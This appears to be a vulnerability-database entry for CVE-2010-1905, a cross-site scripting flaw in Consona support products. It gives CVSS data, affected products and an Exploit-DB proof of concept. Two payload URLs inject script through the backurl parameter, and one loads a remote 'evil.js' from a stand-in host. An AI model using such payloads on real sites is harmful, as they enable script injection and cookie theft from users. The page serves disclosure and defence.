CVE-2010-1905

medium

Published 2010-05-12 · Modified 2026-04-29

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CVSS v3

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CVSS v4 NEW

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not yet in upstream

VIR risk

5.3

Description

Multiple cross-site scripting (XSS) vulnerabilities in Consona Live Assistance, Dynamic Agent, and Subscriber Assistance allow remote attackers to inject arbitrary web script or HTML via crafted input to ASP pages, as demonstrated using the backurl parameter to sdccommon/verify/asp/n6plugindestructor.asp.

Predictions

Exploit likelihood

20%

Patch ETA

—

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.

✚ Propose a mitigation on Community → Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-33959 webapps asp verified text · 1 KB

Ruben Santamarta · 2010-05-07

Consona - 'n6plugindestructor.asp' Cross-Site Scripting

text exploit Source: Exploit-DB

source: https://www.securityfocus.com/bid/39999/info

Multiple Consona (formerly SupportSoft) products are prone to a cross-site scripting vulnerability.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site and to steal cookie-based authentication credentials; other attacks are possible.

The following are vulnerable:
Consona Live Assistance
Consona Dynamic Agent
Consona Subscriber Assistance 

http://www.example.com/sdccommon/verify/asp/n6plugindestructor.asp?backurl=";}</script><script src="http://www.example.org/pluginlicense.js" type="text/javascript"></script><script>RenderLicense();</script><script>function returnback(){ var cnfctl = new ActiveXObject("SdcUser.TgConfCtl"); cnfctl.WHATEVER();}</script><!--
http://www.example.com/sdccommon/verify/asp/n6plugindestructor.asp?backurl=</script><script src=http://www.example.org/evil.js></script><script>function returnback() {document.write(license);document.write(payload);}</script>

Application impact

Vendor	Product	Versions
consona	consona_live_assistance
consona	consona_dynamic_agent	`-`
consona	consona_subscriber_assistance

References

CWEs

CWE-79

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.